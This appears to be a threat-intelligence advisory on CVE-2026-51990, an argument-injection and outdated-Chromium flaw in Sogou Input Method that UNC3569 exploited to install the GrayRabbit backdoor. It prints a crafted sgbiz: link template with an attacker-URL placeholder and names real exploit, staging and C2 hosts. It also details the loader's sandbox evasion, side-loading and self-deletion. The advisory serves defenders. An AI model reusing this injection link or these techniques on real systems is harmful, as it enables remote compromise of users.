# CVE-2026-51990: One-Click RCE in Tencent Sogou Input Method Exploited by UNC3569 to Deploy GrayRabbit Malware

> A one-click remote code execution flaw (CVE-2026-51990) in Tencent's Sogou Input Method for Windows, chaining unvalidated command-line argument injection in the sgbiz: URI protocol handler, unrestricted URL navigation in its CEF-based webview, and an outdated unsandboxed Chromium 80 engine, is being actively exploited by the China-based threat group UNC3569 to deploy the modular GrayRabbit malware. Tencent patched the flaw in version 16.3.0.3498 on April 21, 2026, after Gen Digital reported it on April 9, 2026.

- **Published:** 2026-09-13T00:00:00Z
- **Last reviewed:** 2026-09-14T13:14:13.425Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2474
- **ID:** TL-2026-2474
- **Severity:** CRITICAL
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Actor:** UNC3569 (China)
- **Detections:** 9 · **IOCs:** 21 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-51990, CVE-2021-38003

## Description

CVE-2026-51990 is a three-stage chained vulnerability in Tencent's Sogou Input Method for Windows, a Chinese-language input method editor with hundreds of millions of installations. The chain begins in biz_helper.exe, the handler for the application's custom sgbiz: URI scheme. While the handler thoroughly validates the module parameter (path traversal checks, MAX_PATH limits, file existence checks), the param parameter that carries command-line arguments to the launched Sogou executable receives no validation beyond URL decoding. An attacker can therefore craft a link such as sgbiz:sg_process?module=sgmyinput.exe&param=-page%3Dskincenter%20-url%3D<attacker-URL> that launches SGMyInput.exe with a -page=skincenter argument, the only code path that instantiates a Chromium Embedded Framework (CEF) webview. That webview's OnWebViewIsReady function accepts the accompanying -url argument and navigates to it with no scheme check, no domain allowlist, and no validation of any kind, giving the attacker full control of the destination. The webview itself runs on CEF 80.1.16 / Chromium 80.0.3987.163 (March 2020) — over six years and 60+ major versions out of date at time of exploitation — with no_sandbox explicitly enabled, disable-web-security hardcoded (disabling same-origin policy), and allow-file-access-from-files enabled, exposing hundreds of unpatched Chromium CVEs to a single crafted link with no further user interaction.

Gen Digital discovered the flaw while investigating an intrusion by the China-nexus threat actor UNC3569 that began inside Sogou Input Method, and reported it to Tencent on April 9, 2026 (90-day coordinated disclosure). Tencent acknowledged the next day and shipped a fix in version 16.3.0.3498 on April 21, 2026: biz_helper.exe now identifies -url/-firsturl switches, parses them with InternetCrackUrlW, rejects any scheme other than HTTPS, and enforces a suffix-matched hostname allowlist (sogou.com, qq.com, woa.com, sogou). The underlying CEF/Chromium 80 engine, its disabled sandbox, and its disabled web-security flags remain unaddressed. MITRE assigned CVE-2026-51990 on July 10, 2026, and Gen Digital publicly disclosed active in-the-wild exploitation on September 13, 2026.

In the observed UNC3569 campaign, the sgbiz: link pointed victims to https://noht1ng.top/fuckujjbangx.html, which exploited CVE-2021-38003 — a V8 type-confusion vulnerability in JSON.stringify that Google patched in Chrome 95 (October 2021) but that Sogou's Chromium 80 never received. The exploit corrupts V8's internal Map structures to gain arbitrary heap read/write, locates a WebAssembly instance's RWX memory, overwrites it with shellcode, and invokes it via the WebAssembly export. The resulting 921-byte x64 position-independent shellcode walks the PEB to resolve kernel32.dll (ROR8 hash matching), resolves LoadLibraryW and URLDownloadToFileA, and downloads three files from a staging server at 8.218.50.207 (Alibaba Cloud, Hong Kong): a legitimate 7z.exe, a trojanized loader DLL (7zp.dll, internal name boy.dll), and an encrypted payload file named p. The shellcode saves the trojanized DLL as 7z.dll next to 7z.exe and runs 7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p, causing 7z.exe to automatically load the co-located malicious 7z.dll (classic DLL side-loading).

The loader first performs an anti-sandbox check: it snapshots running processes with CreateToolhelp32Snapshot/Process32First/Process32Next and, on real machines, zeroes out the resulting count; on sandboxed systems the real (higher) count is retained and silently corrupts a later XOR key derivation, causing the payload to fail to decrypt cleanly under analysis. The decryption key is an XOR of a deterministic 50,000-iteration floating-point computation, the (zeroed) process-count gate value, and a hardcoded constant (0x098838B0). Once decrypted, the payload — a shellcode stub plus a single-byte XOR-encrypted (key 0x33) PE — is mapped into PAGE_EXECUTE_READWRITE memory and its CoreClientInstall export (a reflective loader) is invoked via a Windows thread-pool work item (CreateThreadpoolWork/SubmitThreadpoolWork) rather than a conventional CreateThread call, to blend in with legitimate thread-pool activity. The loader then self-deletes using an NTFS alternate-data-stream technique: it opens itself with DELETE access, renames its default data stream to a random ADS name via SetFileInformationByHandle (FileRenameInfo), then marks it for deletion (FileDispositionInfo) — removing the file without a logged DeleteFileW call.

The final payload is the GRAYRABBIT backdoor (internal module name core.dll), a lightweight but actively maintained C++ implant that Google/Mandiant has tracked as UNC3569's first-stage tool since at least 2021. This x64 variant beacons to mail.uaiubifas.top:443 (the domain string is split across a 16-byte XMM constant plus a literal 'op' at runtime to defeat static string scanning) over raw TCP — not TLS — with all traffic RC4-encrypted using a static 6-byte key (m5b1u3) in 0x1000-byte frames whose S-box is reinitialized per frame. On connection it beacons <ip>+<hostname>+<username>+<exename>:<pid> and then services a compact ten-command protocol (IDs 0–9) covering silent process execution, an interactive reverse shell (cmd.exe with piped I/O), shell-stdin writes, shell termination, plugin-module loading, system-info collection, self-termination, and bidirectional file transfer via a dedicated FileMsg chunking protocol. Additional modules are fetched on demand from the C2 and reflectively loaded into memory (manual PE mapping, relocation processing, import resolution via ntdll's LdrGetDllHandle/LdrGetProcedureAddress) rather than dropped to disk. The initial shellcode downloader's fetch-and-decode behavior mirrors UNC3569's known proprietary downloader RABBITFUR, but here it is embedded directly in exploit shellcode instead of shipped as a standalone binary.

UNC3569 is a China-nexus threat actor that Google Threat Intelligence has tracked since 2021 operating within China's cybercrime and cyber-contractor-for-hire ecosystem, with a documented pattern of exploiting n-day vulnerabilities in widely used enterprise software (Aspera Faspex, Microsoft Exchange, Oracle Web Applications Desktop Integrator, Ivanti Connect Secure) for initial access against government, education, technology, and financial-sector targets, concentrated in East and Southeast Asia. Its toolset blends custom malware (GRAYRABBIT, RABBITFUR) with commercial and shared tooling (Cobalt Strike, PlugX) and, per Trend Micro's 2026 PeckBirdy research, custom LOLBins scripting frameworks. Leaked internal communications from the Chinese contractor i-SOON (surfaced in early 2024) have been cited as evidence of a possible business relationship with UNC3569's hacker-for-hire operations.

## MITRE ATT&CK

- T1204 User Execution
- T1203 Exploitation for Client Execution
- T1059 Command and Scripting Interpreter
- T1106 Native API
- T1574 Hijack Execution Flow
- T1620 Reflective Code Loading
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1497 Virtualization/Sandbox Evasion
- T1082 System Information Discovery
- T1057 Process Discovery
- T1095 Non-Application Layer Protocol
- T1573 Encrypted Channel
- T1571 Non-Standard Port
- T1189 Drive-by Compromise
- T1566.002 Phishing
- T1204.001 User Execution
- T1059.007 Command and Scripting Interpreter
- T1059.003 Command and Scripting Interpreter
- T1574.002 Hijack Execution Flow
- T1497.001 Virtualization/Sandbox Evasion
- T1070.004 Indicator Removal
- T1033 System Owner/User Discovery
- T1105 Ingress Tool Transfer
- T1573.001 Encrypted Channel
- T1041 Exfiltration Over C2 Channel

## Sources

- [Hackers exploit Tencent app flaw to deploy GrayRabbit malware](https://www.bleepingcomputer.com/news/security/hackers-exploit-tencent-app-flaw-to-deploy-grayrabbit-malware/)
- [Gray Rabbits and the Tale of a One-Click Backdoor](https://www.gendigital.com/blog/insights/research/one-click-backdoor-sogou)
- [China-Linked UNC3569 Exploited Sogou Input Method Flaw to Deploy GRAYRABBIT Backdoor](https://thehackernews.com/2026/09/china-linked-unc3569-exploited-sogou.html)
- [UNC3569 (Threat Actor)](https://malpedia.caad.fkie.fraunhofer.de/actor/unc3569)
- [GRAYRABBIT (Malware Family)](https://malpedia.caad.fkie.fraunhofer.de/details/win.grayrabbit)
- [Down the GRAYRABBIT Hole – Exposing UNC3569 and its Modus Operandi](https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/Down-the-GRAYRABBIT-hole-exposing-UNC3569-and-its-modus-operandi.pdf)
- [PeckBirdy: A Versatile Script Framework for LOLBins Exploitation Used by China-aligned Threat Groups](https://www.trendmicro.com/en_us/research/26/a/peckbirdy-script-framework.html)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2474